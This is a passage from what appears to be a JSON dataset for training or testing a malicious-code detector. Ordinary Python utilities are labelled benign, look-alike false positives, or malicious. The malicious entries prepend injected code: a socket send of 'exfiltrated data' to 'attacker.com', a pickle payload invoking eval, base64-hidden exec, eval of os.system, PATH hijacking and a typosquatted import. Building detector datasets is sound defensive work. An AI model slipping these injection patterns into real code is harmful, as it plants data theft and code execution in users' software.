proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1b34365b", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_5ce4126f", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_441cfa98", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_829f0442", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e3a9a0f9", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4044e9a9", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_e8078153", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e663152e", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_0796e244", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a313c0aa", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3fd01cc1", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1fa8c994", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_05fbe766", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_800fbe0e", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_7b5c218b", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_28939b64", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_59219d68", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_ddbfa718", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b44e961a", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_52609c0f", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_4f1603dc", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_1d9307b7", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_7fe7d507", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a1919e23", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_329d74c2", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_85d01243", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_81a40b11", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_89286021", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_302708de", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_0fd549c9", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_064008c2", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_aada7cf1", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_59f5e400", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_1569da72", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_0a03a09a", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0da589b9", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_df0b92a9", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_c7f4d027", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6139bbd5", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_826945f1", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_0cbabe8f", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8c0b96ed", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3dd0efde", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_0ab67ded", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0cba9a84", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_baa92533", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f9741ea8", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_541d81a8", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_58f0d509", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2c9e80bd", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n 